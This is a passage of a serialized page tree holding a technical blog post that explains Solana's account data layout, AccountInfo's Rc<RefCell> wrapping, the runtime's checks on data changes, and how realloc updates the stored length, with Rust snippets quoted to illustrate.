type":23,"tag":230,"props":17364,"children":17365},{"style":274},[17366],{"type":29,"value":703},{"type":23,"tag":230,"props":17368,"children":17369},{"style":256},[17370],{"type":29,"value":4343},{"type":23,"tag":230,"props":17372,"children":17373},{"style":676},[17374],{"type":29,"value":16058},{"type":23,"tag":230,"props":17376,"children":17377},{"style":274},[17378],{"type":29,"value":511},{"type":23,"tag":230,"props":17380,"children":17381},{"class":232,"line":252},[17382,17386,17391,17396,17400,17404,17408],{"type":23,"tag":230,"props":17383,"children":17384},{"style":262},[17385],{"type":29,"value":16228},{"type":23,"tag":230,"props":17387,"children":17388},{"style":268},[17389],{"type":29,"value":17390}," +=",{"type":23,"tag":230,"props":17392,"children":17393},{"style":294},[17394],{"type":29,"value":17395}," size_of",{"type":23,"tag":230,"props":17397,"children":17398},{"style":268},[17399],{"type":29,"value":5818},{"type":23,"tag":230,"props":17401,"children":17402},{"style":274},[17403],{"type":29,"value":8143},{"type":23,"tag":230,"props":17405,"children":17406},{"style":676},[17407],{"type":29,"value":10377},{"type":23,"tag":230,"props":17409,"children":17410},{"style":274},[17411],{"type":29,"value":10787},{"type":23,"tag":230,"props":17413,"children":17414},{"class":232,"line":280},[17415],{"type":23,"tag":230,"props":17416,"children":17417},{"emptyLinePlaceholder":18},[17418],{"type":29,"value":459},{"type":23,"tag":230,"props":17420,"children":17421},{"class":232,"line":334},[17422,17426,17431,17435,17440,17444,17449,17454,17458,17462],{"type":23,"tag":230,"props":17423,"children":17424},{"style":256},[17425],{"type":29,"value":14118},{"type":23,"tag":230,"props":17427,"children":17428},{"style":262},[17429],{"type":29,"value":17430}," data",{"type":23,"tag":230,"props":17432,"children":17433},{"style":268},[17434],{"type":29,"value":271},{"type":23,"tag":230,"props":17436,"children":17437},{"style":676},[17438],{"type":29,"value":17439}," Rc",{"type":23,"tag":230,"props":17441,"children":17442},{"style":268},[17443],{"type":29,"value":5818},{"type":23,"tag":230,"props":17445,"children":17446},{"style":294},[17447],{"type":29,"value":17448},"new",{"type":23,"tag":230,"props":17450,"children":17451},{"style":274},[17452],{"type":29,"value":17453},"(RefCell",{"type":23,"tag":230,"props":17455,"children":17456},{"style":268},[17457],{"type":29,"value":5818},{"type":23,"tag":230,"props":17459,"children":17460},{"style":294},[17461],{"type":29,"value":17448},{"type":23,"tag":230,"props":17463,"children":17464},{"style":274},[17465],{"type":29,"value":368},{"type":23,"tag":230,"props":17467,"children":17468},{"class":232,"line":371},[17469,17474,17478,17482,17486,17490,17494,17498,17503,17507],{"type":23,"tag":230,"props":17470,"children":17471},{"style":294},[17472],{"type":29,"value":17473},"    from_raw_parts_mut",{"type":23,"tag":230,"props":17475,"children":17476},{"style":274},[17477],{"type":29,"value":302},{"type":23,"tag":230,"props":17479,"children":17480},{"style":262},[17481],{"type":29,"value":10702},{"type":23,"tag":230,"props":17483,"children":17484},{"style":268},[17485],{"type":29,"value":312},{"type":23,"tag":230,"props":17487,"children":17488},{"style":294},[17489],{"type":29,"value":11969},{"type":23,"tag":230,"props":17491,"children":17492},{"style":274},[17493],{"type":29,"value":302},{"type":23,"tag":230,"props":17495,"children":17496},{"style":262},[17497],{"type":29,"value":16228},{"type":23,"tag":230,"props":17499,"children":17500},{"style":274},[17501],{"type":29,"value":17502},"), ",{"type":23,"tag":230,"props":17504,"children":17505},{"style":262},[17506],{"type":29,"value":16133},{"type":23,"tag":230,"props":17508,"children":17509},{"style":274},[17510],{"type":29,"value":4516},{"type":23,"tag":230,"props":17512,"children":17513},{"class":232,"line":391},[17514],{"type":23,"tag":230,"props":17515,"children":17516},{"style":274},[17517],{"type":29,"value":17518},"}));\n",{"type":23,"tag":230,"props":17520,"children":17521},{"class":232,"line":400},[17522,17526,17530,17534,17538],{"type":23,"tag":230,"props":17523,"children":17524},{"style":262},[17525],{"type":29,"value":16228},{"type":23,"tag":230,"props":17527,"children":17528},{"style":268},[17529],{"type":29,"value":17390},{"type":23,"tag":230,"props":17531,"children":17532},{"style":262},[17533],{"type":29,"value":17310},{"type":23,"tag":230,"props":17535,"children":17536},{"style":268},[17537],{"type":29,"value":11238},{"type":23,"tag":230,"props":17539,"children":17540},{"style":274},[17541],{"type":29,"value":17542}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":230,"props":17544,"children":17545},{"class":232,"line":444},[17546,17550,17554,17558,17562,17566,17570,17574,17578,17582,17586,17591,17596],{"type":23,"tag":230,"props":17547,"children":17548},{"style":262},[17549],{"type":29,"value":16228},{"type":23,"tag":230,"props":17551,"children":17552},{"style":268},[17553],{"type":29,"value":17390},{"type":23,"tag":230,"props":17555,"children":17556},{"style":274},[17557],{"type":29,"value":664},{"type":23,"tag":230,"props":17559,"children":17560},{"style":262},[17561],{"type":29,"value":16228},{"type":23,"tag":230,"props":17563,"children":17564},{"style":256},[17565],{"type":29,"value":3589},{"type":23,"tag":230,"props":17567,"children":17568},{"style":268},[17569],{"type":29,"value":12147},{"type":23,"tag":230,"props":17571,"children":17572},{"style":256},[17573],{"type":29,"value":259},{"type":23,"tag":230,"props":17575,"children":17576},{"style":676},[17577],{"type":29,"value":16961},{"type":23,"tag":230,"props":17579,"children":17580},{"style":274},[17581],{"type":29,"value":5467},{"type":23,"tag":230,"props":17583,"children":17584},{"style":268},[17585],{"type":29,"value":312},{"type":23,"tag":230,"props":17587,"children":17588},{"style":294},[17589],{"type":29,"value":17590},"align_offset",{"type":23,"tag":230,"props":17592,"children":17593},{"style":274},[17594],{"type":29,"value":17595},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":230,"props":17597,"children":17598},{"style":237},[17599],{"type":29,"value":17600},"// padding\n",{"type":23,"tag":32,"props":17602,"children":17603},{},[17604,17606,17611,17613,17619,17621,17632,17634,17639,17641,17647,17649,17655,17656,17662],{"type":29,"value":17605},"In English, we have the length of the data, as a ",{"type":23,"tag":71,"props":17607,"children":17609},{"className":17608},[],[17610],{"type":29,"value":10377},{"type":29,"value":17612},", followed immediately by the data, and an additional ",{"type":23,"tag":71,"props":17614,"children":17616},{"className":17615},[],[17617],{"type":29,"value":17618},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":17620}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":181,"props":17622,"children":17625},{"href":17623,"rel":17624},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[185],[17626],{"type":23,"tag":71,"props":17627,"children":17629},{"className":17628},[],[17630],{"type":29,"value":17631},"slice::from_raw_parts_mut",{"type":29,"value":17633},") - slices are how Rust represents a, well, ",{"type":23,"tag":2258,"props":17635,"children":17636},{},[17637],{"type":29,"value":17638},"slice",{"type":29,"value":17640}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":71,"props":17642,"children":17644},{"className":17643},[],[17645],{"type":29,"value":17646},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":17648},", giving us the unwieldy-looking type of ",{"type":23,"tag":71,"props":17650,"children":17652},{"className":17651},[],[17653],{"type":29,"value":17654},"AccountInfo.data",{"type":29,"value":817},{"type":23,"tag":71,"props":17657,"children":17659},{"className":17658},[],[17660],{"type":29,"value":17661},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":312},{"type":23,"tag":32,"props":17664,"children":17665},{},[17666,17668,17675],{"type":29,"value":17667},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":181,"props":17669,"children":17672},{"href":17670,"rel":17671},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[185],[17673],{"type":29,"value":17674},"cloning the referenced account",{"type":29,"value":218},{"type":23,"tag":220,"props":17677,"children":17679},{"className":5320,"code":17678,"language":5319,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[17680],{"type":23,"tag":71,"props":17681,"children":17682},{"__ignoreMap":7},[17683,17691],{"type":23,"tag":230,"props":17684,"children":17685},{"class":232,"line":233},[17686],{"type":23,"tag":230,"props":17687,"children":17688},{"style":237},[17689],{"type":29,"value":17690},"// Duplicate account, clone the original\n",{"type":23,"tag":230,"props":17692,"children":17693},{"class":232,"line":243},[17694,17698,17702,17706,17710,17714,17718,17723,17727,17731,17736,17740,17745],{"type":23,"tag":230,"props":17695,"children":17696},{"style":262},[17697],{"type":29,"value":17002},{"type":23,"tag":230,"props":17699,"children":17700},{"style":268},[17701],{"type":29,"value":312},{"type":23,"tag":230,"props":17703,"children":17704},{"style":294},[17705],{"type":29,"value":6148},{"type":23,"tag":230,"props":17707,"children":17708},{"style":274},[17709],{"type":29,"value":302},{"type":23,"tag":230,"props":17711,"children":17712},{"style":262},[17713],{"type":29,"value":17002},{"type":23,"tag":230,"props":17715,"children":17716},{"style":274},[17717],{"type":29,"value":6069},{"type":23,"tag":230,"props":17719,"children":17720},{"style":262},[17721],{"type":29,"value":17722},"dup_info",{"type":23,"tag":230,"props":17724,"children":17725},{"style":256},[17726],{"type":29,"value":3589},{"type":23,"tag":230,"props":17728,"children":17729},{"style":676},[17730],{"type":29,"value":16058},{"type":23,"tag":230,"props":17732,"children":17733},{"style":274},[17734],{"type":29,"value":17735},"]",{"type":23,"tag":230,"props":17737,"children":17738},{"style":268},[17739],{"type":29,"value":312},{"type":23,"tag":230,"props":17741,"children":17742},{"style":294},[17743],{"type":29,"value":17744},"clone",{"type":23,"tag":230,"props":17746,"children":17747},{"style":274},[17748],{"type":29,"value":17749},"());\n",{"type":23,"tag":32,"props":17751,"children":17752},{},[17753,17755,17760,17762,17767,17769,17774,17776,17781,17782,17788,17790,17795,17797,17809,17811,17816],{"type":29,"value":17754},"Since ",{"type":23,"tag":71,"props":17756,"children":17758},{"className":17757},[],[17759],{"type":29,"value":6037},{"type":29,"value":17761}," inside the ",{"type":23,"tag":71,"props":17763,"children":17765},{"className":17764},[],[17766],{"type":29,"value":17264},{"type":29,"value":17768}," is a ",{"type":23,"tag":71,"props":17770,"children":17772},{"className":17771},[],[17773],{"type":29,"value":17646},{"type":29,"value":17775},", where the ",{"type":23,"tag":71,"props":17777,"children":17779},{"className":17778},[],[17780],{"type":29,"value":8324},{"type":29,"value":17768},{"type":23,"tag":71,"props":17783,"children":17785},{"className":17784},[],[17786],{"type":29,"value":17787},"&mut [u8]",{"type":29,"value":17789}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":71,"props":17791,"children":17793},{"className":17792},[],[17794],{"type":29,"value":17264},{"type":29,"value":17796},", we get a new reference",{"type":23,"tag":17798,"props":17799,"children":17800},"sup",{},[17801],{"type":23,"tag":181,"props":17802,"children":17807},{"href":17803,"ariaDescribedBy":17804,"dataFootnoteRef":7,"id":17806},"#user-content-fn-rc-refs",[17805],"footnote-label","user-content-fnref-rc-refs",[17808],{"type":29,"value":6348},{"type":29,"value":17810}," to the slice pointing at the ",{"type":23,"tag":2258,"props":17812,"children":17813},{},[17814],{"type":29,"value":17815},"same",{"type":29,"value":17817}," data buffer.",{"type":23,"tag":32,"props":17819,"children":17820},{},[17821,17823,17829,17831,17837],{"type":29,"value":17822},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":71,"props":17824,"children":17826},{"className":17825},[],[17827],{"type":29,"value":17828},"RefCell",{"type":29,"value":17830}," to check the rules at runtime. (The ",{"type":23,"tag":71,"props":17832,"children":17834},{"className":17833},[],[17835],{"type":29,"value":17836},"lamports",{"type":29,"value":17838}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":32,"props":17840,"children":17841},{},[17842,17844,17850],{"type":29,"value":17843},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":71,"props":17845,"children":17847},{"className":17846},[],[17848],{"type":29,"value":17849},"AccountInfo::data",{"type":29,"value":17851},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":32,"props":17853,"children":17854},{},[17855,17857,17864],{"type":29,"value":17856},"This is also where the ",{"type":23,"tag":181,"props":17858,"children":17861},{"href":17859,"rel":17860},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[185],[17862],{"type":29,"value":17863},"runtime validity checks",{"type":29,"value":17865}," are imposed.",{"type":23,"tag":220,"props":17867,"children":17869},{"className":5320,"code":17868,"language":5319,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[17870],{"type":23,"tag":71,"props":17871,"children":17872},{"__ignoreMap":7},[17873,17881,17889,17897,17939,17957,17986,18031,18038,18062,18096,18121,18153,18168,18200,18207],{"type":23,"tag":230,"props":17874,"children":17875},{"class":232,"line":233},[17876],{"type":23,"tag":230,"props":17877,"children":17878},{"style":237},[17879],{"type":29,"value":17880},"// Only the owner may change account data\n",{"type":23,"tag":230,"props":17882,"children":17883},{"class":232,"line":243},[17884],{"type":23,"tag":230,"props":17885,"children":17886},{"style":237},[17887],{"type":29,"value":17888},"//   and if the account is writable\n",{"type":23,"tag":230,"props":17890,"children":17891},{"class":232,"line":252},[17892],{"type":23,"tag":230,"props":17893,"children":17894},{"style":237},[17895],{"type":29,"value":17896},"//   and if the account is not executable\n",{"type":23,"tag":230,"props":17898,"children":17899},{"class":232,"line":280},[17900,17905,17909,17913,17917,17921,17926,17930,17935],{"type":23,"tag":230,"props":17901,"children":17902},{"style":866},[17903],{"type":29,"value":17904},"if",{"type":23,"tag":230,"props":17906,"children":17907},{"style":268},[17908],{"type":29,"value":15193},{"type":23,"tag":230,"props":17910,"children":17911},{"style":274},[17912],{"type":29,"value":302},{"type":23,"tag":230,"props":17914,"children":17915},{"style":262},[17916],{"type":29,"value":16993},{"type":23,"tag":230,"props":17918,"children":17919},{"style":268},[17920],{"type":29,"value":5621},{"type":23,"tag":230,"props":17922,"children":17923},{"style":262},[17924],{"type":29,"value":17925}," pre",{"type":23,"tag":230,"props":17927,"children":17928},{"style":268},[17929],{"type":29,"value":312},{"type":23,"tag":230,"props":17931,"children":17932},{"style":294},[17933],{"type":29,"value":17934},"owner",{"type":23,"tag":230,"props":17936,"children":17937},{"style":274},[17938],{"type":29,"value":10072},{"type":23,"tag":230,"props":17940,"children":17941},{"class":232,"line":334},[17942,17947,17952],{"type":23,"tag":230,"props":17943,"children":17944},{"style":268},[17945],{"type":29,"value":17946},"    &&",{"type":23,"tag":230,"props":17948,"children":17949},{"style":262},[17950],{"type":29,"value":17951}," is_writable",{"type":23,"tag":230,"props":17953,"children":17954},{"style":237},[17955],{"type":29,"value":17956},"  // line coverage used to get branch coverage\n",{"type":23,"tag":230,"props":17958,"children":17959},{"class":232,"line":371},[17960,17964,17968,17972,17976,17981],{"type":23,"tag":230,"props":17961,"children":17962},{"style":268},[17963],{"type":29,"value":17946},{"type":23,"tag":230,"props":17965,"children":17966},{"style":268},[17967],{"type":29,"value":15193},{"type":23,"tag":230,"props":17969,"children":17970},{"style":262},[17971],{"type":29,"value":220},{"type":23,"tag":230,"props":17973,"children":17974},{"style":268},[17975],{"type":29,"value":312},{"type":23,"tag":230,"props":17977,"children":17978},{"style":294},[17979],{"type":29,"value":17980},"executable",{"type":23,"tag":230,"props":17982,"children":17983},{"style":274},[17984],{"type":29,"value":17985},"())\n",{"type":23,"tag":230,"props":17987,"children":17988},{"class":232,"line":391},[17989,17993,17997,18001,18005,18009,18014,18019,18023,18027],{"type":23,"tag":230,"props":17990,"children":17991},{"style":268},[17992],{"type":29,"value":17946},{"type":23,"tag":230,"props":17994,"children":17995},{"style":262},[17996],{"type":29,"value":17925},{"type":23,"tag":230,"props":17998,"children":17999},{"style":268},[18000],{"type":29,"value":312},{"type":23,"tag":230,"props":18002,"children":18003},{"style":294},[18004],{"type":29,"value":6037},{"type":23,"tag":230,"props":18006,"children":18007},{"style":274},[18008],{"type":29,"value":16370},{"type":23,"tag":230,"props":18010,"children":18011},{"style":268},[18012],{"type":29,"value":18013},"!=",{"type":23,"tag":230,"props":18015,"children":18016},{"style":262},[18017],{"type":29,"value":18018}," post",{"type":23,"tag":230,"props":18020,"children":18021},{"style":268},[18022],{"type":29,"value":312},{"type":23,"tag":230,"props":18024,"children":18025},{"style":294},[18026],{"type":29,"value":6037},{"type":23,"tag":230,"props":18028,"children":18029},{"style":274},[18030],{"type":29,"value":10072},{"type":23,"tag":230,"props":18032,"children":18033},{"class":232,"line":400},[18034],{"type":23,"tag":230,"props":18035,"children":18036},{"style":274},[18037],{"type":29,"value":13211},{"type":23,"tag":230,"props":18039,"children":18040},{"class":232,"line":444},[18041,18045,18049,18053,18057],{"type":23,"tag":230,"props":18042,"children":18043},{"style":866},[18044],{"type":29,"value":1493},{"type":23,"tag":230,"props":18046,"children":18047},{"style":262},[18048],{"type":29,"value":17925},{"type":23,"tag":230,"props":18050,"children":18051},{"style":268},[18052],{"type":29,"value":312},{"type":23,"tag":230,"props":18054,"children":18055},{"style":294},[18056],{"type":29,"value":17980},{"type":23,"tag":230,"props":18058,"children":18059},{"style":274},[18060],{"type":29,"value":18061},"() {\n",{"type":23,"tag":230,"props":18063,"children":18064},{"class":232,"line":453},[18065,18069,18074,18078,18083,18087,18092],{"type":23,"tag":230,"props":18066,"children":18067},{"style":866},[18068],{"type":29,"value":3554},{"type":23,"tag":230,"props":18070,"children":18071},{"style":676},[18072],{"type":29,"value":18073}," Err",{"type":23,"tag":230,"props":18075,"children":18076},{"style":274},[18077],{"type":29,"value":302},{"type":23,"tag":230,"props":18079,"children":18080},{"style":676},[18081],{"type":29,"value":18082},"InstructionError",{"type":23,"tag":230,"props":18084,"children":18085},{"style":268},[18086],{"type":29,"value":5818},{"type":23,"tag":230,"props":18088,"children":18089},{"style":676},[18090],{"type":29,"value":18091},"ExecutableDataModified",{"type":23,"tag":230,"props":18093,"children":18094},{"style":274},[18095],{"type":29,"value":753},{"type":23,"tag":230,"props":18097,"children":18098},{"class":232,"line":462},[18099,18104,18108,18113,18117],{"type":23,"tag":230,"props":18100,"children":18101},{"style":274},[18102],{"type":29,"value":18103},"    } ",{"type":23,"tag":230,"props":18105,"children":18106},{"style":866},[18107],{"type":29,"value":5654},{"type":23,"tag":230,"props":18109,"children":18110},{"style":866},[18111],{"type":29,"value":18112}," if",{"type":23,"tag":230,"props":18114,"children":18115},{"style":262},[18116],{"type":29,"value":17951},{"type":23,"tag":230,"props":18118,"children":18119},{"style":274},[18120],{"type":29,"value":277},{"type":23,"tag":230,"props":18122,"children":18123},{"class":232,"line":471},[18124,18128,18132,18136,18140,18144,18149],{"type":23,"tag":230,"props":18125,"children":18126},{"style":866},[18127],{"type":29,"value":3554},{"type":23,"tag":230,"props":18129,"children":18130},{"style":676},[18131],{"type":29,"value":18073},{"type":23,"tag":230,"props":18133,"children":18134},{"style":274},[18135],{"type":29,"value":302},{"type":23,"tag":230,"props":18137,"children":18138},{"style":676},[18139],{"type":29,"value":18082},{"type":23,"tag":230,"props":18141,"children":18142},{"style":268},[18143],{"type":29,"value":5818},{"type":23,"tag":230,"props":18145,"children":18146},{"style":676},[18147],{"type":29,"value":18148},"ExternalAccountDataModified",{"type":23,"tag":230,"props":18150,"children":18151},{"style":274},[18152],{"type":29,"value":753},{"type":23,"tag":230,"props":18154,"children":18155},{"class":232,"line":500},[18156,18160,18164],{"type":23,"tag":230,"props":18157,"children":18158},{"style":274},[18159],{"type":29,"value":18103},{"type":23,"tag":230,"props":18161,"children":18162},{"style":866},[18163],{"type":29,"value":5654},{"type":23,"tag":230,"props":18165,"children":18166},{"style":274},[18167],{"type":29,"value":277},{"type":23,"tag":230,"props":18169,"children":18170},{"class":232,"line":514},[18171,18175,18179,18183,18187,18191,18196],{"type":23,"tag":230,"props":18172,"children":18173},{"style":866},[18174],{"type":29,"value":3554},{"type":23,"tag":230,"props":18176,"children":18177},{"style":676},[18178],{"type":29,"value":18073},{"type":23,"tag":230,"props":18180,"children":18181},{"style":274},[18182],{"type":29,"value":302},{"type":23,"tag":230,"props":18184,"children":18185},{"style":676},[18186],{"type":29,"value":18082},{"type":23,"tag":230,"props":18188,"children":18189},{"style":268},[18190],{"type":29,"value":5818},{"type":23,"tag":230,"props":18192,"children":18193},{"style":676},[18194],{"type":29,"value":18195},"ReadonlyDataModified",{"type":23,"tag":230,"props":18197,"children":18198},{"style":274},[18199],{"type":29,"value":753},{"type":23,"tag":230,"props":18201,"children":18202},{"class":232,"line":897},[18203],{"type":23,"tag":230,"props":18204,"children":18205},{"style":274},[18206],{"type":29,"value":1552},{"type":23,"tag":230,"props":18208,"children":18209},{"class":232,"line":960},[18210],{"type":23,"tag":230,"props":18211,"children":18212},{"style":274},[18213],{"type":29,"value":975},{"type":23,"tag":59,"props":18215,"children":18217},{"id":18216},"back-to-realloc",[18218,18220],{"type":29,"value":18219},"Back to ",{"type":23,"tag":71,"props":18221,"children":18223},{"className":18222},[],[18224],{"type":29,"value":15965},{"type":23,"tag":32,"props":18226,"children":18227},{},[18228],{"type":29,"value":18229},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":220,"props":18231,"children":18232},{"className":5320,"code":16718,"language":5319,"meta":7,"style":7},[18233],{"type":23,"tag":71,"props":18234,"children":18235},{"__ignoreMap":7},[18236,18243,18330],{"type":23,"tag":230,"props":18237,"children":18238},{"class":232,"line":233},[18239],{"type":23,"tag":230,"props":18240,"children":18241},{"style":237},[18242],{"type":29,"value":16730},{"type":23,"tag":230,"props":18244,"children":18245},{"class":232,"line":243},[18246,18250,18254,18258,18262,18266,18270,18274,18278,18282,18286,18290,18294,18298,18302,18306,18310,18314,18318,18322,18326],{"type":23,"tag":230,"props":18247,"children":18248},{"style":256},[18249],{"type":29,"value":14118},{"type":23,"tag":230,"props":18251,"children":18252},{"style":262},[18253],{"type":29,"value":16184},{"type":23,"tag":230,"props":18255,"children":18256},{"style":268},[18257],{"type":29,"value":271},{"type":23,"tag":230,"props":18259,"children":18260},{"style":256},[18261],{"type":29,"value":16124},{"type":23,"tag":230,"props":18263,"children":18264},{"style":268},[18265],{"type":29,"value":312},{"type":23,"tag":230,"props":18267,"children":18268},{"style":294},[18269],{"type":29,"value":16201},{"type":23,"tag":230,"props":18271,"children":18272},{"style":274},[18273],{"type":29,"value":16206},{"type":23,"tag":230,"props":18275,"children":18276},{"style":268},[18277],{"type":29,"value":5472},{"type":23,"tag":230,"props":18279,"children":18280},{"style":294},[18281],{"type":29,"value":16215},{"type":23,"tag":230,"props":18283,"children":18284},{"style":274},[18285],{"type":29,"value":16206},{"type":23,"tag":230,"props":18287,"children":18288},{"style":268},[18289],{"type":29,"value":312},{"type":23,"tag":230,"props":18291,"children":18292},{"style":294},[18293],{"type":29,"value":16228},{"type":23,"tag":230,"props":18295,"children":18296},{"style":274},[18297],{"type":29,"value":302},{"type":23,"tag":230,"props":18299,"children":18300},{"style":268},[18301],{"type":29,"value":6665},{"type":23,"tag":230,"props":18303,"children":18304},{"style":5149},[18305],{"type":29,"value":6412},{"type":23,"tag":230,"props":18307,"children":18308},{"style":274},[18309],{"type":29,"value":703},{"type":23,"tag":230,"props":18311,"children":18312},{"style":256},[18313],{"type":29,"value":4343},{"type":23,"tag":230,"props":18315,"children":18316},{"style":268},[18317],{"type":29,"value":12147},{"type":23,"tag":230,"props":18319,"children":18320},{"style":256},[18321],{"type":29,"value":6059},{"type":23,"tag":230,"props":18323,"children":18324},{"style":676},[18325],{"type":29,"value":8197},{"type":23,"tag":230,"props":18327,"children":18328},{"style":274},[18329],{"type":29,"value":511},{"type":23,"tag":230,"props":18331,"children":18332},{"class":232,"line":252},[18333,18337,18341,18345,18349,18353,18357],{"type":23,"tag":230,"props":18334,"children":18335},{"style":268},[18336],{"type":29,"value":6909},{"type":23,"tag":230,"props":18338,"children":18339},{"style":262},[18340],{"type":29,"value":16276},{"type":23,"tag":230,"props":18342,"children":18343},{"style":268},[18344],{"type":29,"value":271},{"type":23,"tag":230,"props":18346,"children":18347},{"style":262},[18348],{"type":29,"value":16285},{"type":23,"tag":230,"props":18350,"children":18351},{"style":256},[18352],{"type":29,"value":3589},{"type":23,"tag":230,"props":18354,"children":18355},{"style":676},[18356],{"type":29,"value":8197},{"type":23,"tag":230,"props":18358,"children":18359},{"style":274},[18360],{"type":29,"value":511},{"type":23,"tag":32,"props":18362,"children":18363},{},[18364,18369,18371,18376,18378,18383,18385,18396,18398,18403,18405,18410],{"type":23,"tag":71,"props":18365,"children":18367},{"className":18366},[],[18368],{"type":29,"value":16201},{"type":29,"value":18370}," gives us the ",{"type":23,"tag":71,"props":18372,"children":18374},{"className":18373},[],[18375],{"type":29,"value":17787},{"type":29,"value":18377}," from the ",{"type":23,"tag":71,"props":18379,"children":18381},{"className":18380},[],[18382],{"type":29,"value":17661},{"type":29,"value":18384},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":181,"props":18386,"children":18389},{"href":18387,"rel":18388},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[185],[18390],{"type":23,"tag":71,"props":18391,"children":18393},{"className":18392},[],[18394],{"type":29,"value":18395},"slice::as_mut_ptr()",{"type":29,"value":18397}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":71,"props":18399,"children":18401},{"className":18400},[],[18402],{"type":29,"value":10377},{"type":29,"value":18404}," - behind the data buffer), and then writes ",{"type":23,"tag":71,"props":18406,"children":18408},{"className":18407},[],[18409],{"type":29,"value":16049},{"type":29,"value":18411}," to it.",{"type":23,"tag":32,"props":18413,"children":18414},{},[18415,18417,18429,18431,18437],{"type":29,"value":18416},"This is reasonable... ",{"type":23,"tag":2258,"props":18418,"children":18419},{},[18420,18422,18427],{"type":29,"value":18421},"as long as the ",{"type":23,"tag":71,"props":18423,"children":18425},{"className":18424},[],[18426],{"type":29,"value":6037},{"type":29,"value":18428}," actually came from the serialized buffer",{"type":29,"value":18430},". We'll come back to this ",{"type":23,"tag":181,"props":18432,"children":18434},{"href":18433},"#Not-contracts",[18435],{"type":29,"value":18436},"later",{"type":29,"value":312},{"type":23,"tag":32,"props":18439,"children":18440},{},[18441,18443,18448],{"type":29,"value":18442},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":71,"props":18444,"children":18446},{"className":18445},[],[18447],{"type":29,"value":17787},{"type":29,"value":18449}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":220,"props":18451,"children":18453},{"className":5320,"code":18452,"language":5319,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[18454],{"type":23,"tag":71,"props":18455,"children":18456},{"__ignoreMap":7},[18457,18465,18592],{"type":23,"tag":230,"props":18458,"children":18459},{"class":232,"line":233},[18460],{"type":23,"tag":230,"props":18461,"children":18462},{"style":237},[18463],{"type":29,"value":18464},"// Then set the new length in the local slice\n",{"type":23,"tag":230,"props":18466,"children":18467},{"class":232,"line":243},[18468,18472,18476,18480,18484,18488,18492,18496,18500,18504,18508,18512,18516,18520,18524,18528,18532,18536,18540,18544,18548,18552,18556,18560,18564,18568,18572,18576,18580,18584,18588],{"type":23,"tag":230,"props":18469,"children":18470},{"style":256},[18471],{"type":29,"value":14118},{"type":23,"tag":230,"props":18473,"children":18474},{"style":262},[18475],{"type":29,"value":16184},{"type":23,"tag":230,"props":18477,"children":18478},{"style":268},[18479],{"type":29,"value":271},{"type":23,"tag":230,"props":18481,"children":18482},{"style":268},[18483],{"type":29,"value":9477},{"type":23,"tag":230,"props":18485,"children":18486},{"style":256},[18487],{"type":29,"value":6059},{"type":23,"tag":230,"props":18489,"children":18490},{"style":268},[18491],{"type":29,"value":12147},{"type":23,"tag":230,"props":18493,"children":18494},{"style":274},[18495],{"type":29,"value":16344},{"type":23,"tag":230,"props":18497,"children":18498},{"style":256},[18499],{"type":29,"value":16040},{"type":23,"tag":230,"props":18501,"children":18502},{"style":268},[18503],{"type":29,"value":312},{"type":23,"tag":230,"props":18505,"children":18506},{"style":274},[18507],{"type":29,"value":6037},{"type":23,"tag":230,"props":18509,"children":18510},{"style":268},[18511],{"type":29,"value":312},{"type":23,"tag":230,"props":18513,"children":18514},{"style":294},[18515],{"type":29,"value":16365},{"type":23,"tag":230,"props":18517,"children":18518},{"style":274},[18519],{"type":29,"value":16370},{"type":23,"tag":230,"props":18521,"children":18522},{"style":256},[18523],{"type":29,"value":4343},{"type":23,"tag":230,"props":18525,"children":18526},{"style":268},[18527],{"type":29,"value":12147},{"type":23,"tag":230,"props":18529,"children":18530},{"style":256},[18531],{"type":29,"value":259},{"type":23,"tag":230,"props":18533,"children":18534},{"style":676},[18535],{"type":29,"value":8197},{"type":23,"tag":230,"props":18537,"children":18538},{"style":274},[18539],{"type":29,"value":5467},{"type":23,"tag":230,"props":18541,"children":18542},{"style":268},[18543],{"type":29,"value":312},{"type":23,"tag":230,"props":18545,"children":18546},{"style":294},[18547],{"type":29,"value":16228},{"type":23,"tag":230,"props":18549,"children":18550},{"style":274},[18551],{"type":29,"value":302},{"type":23,"tag":230,"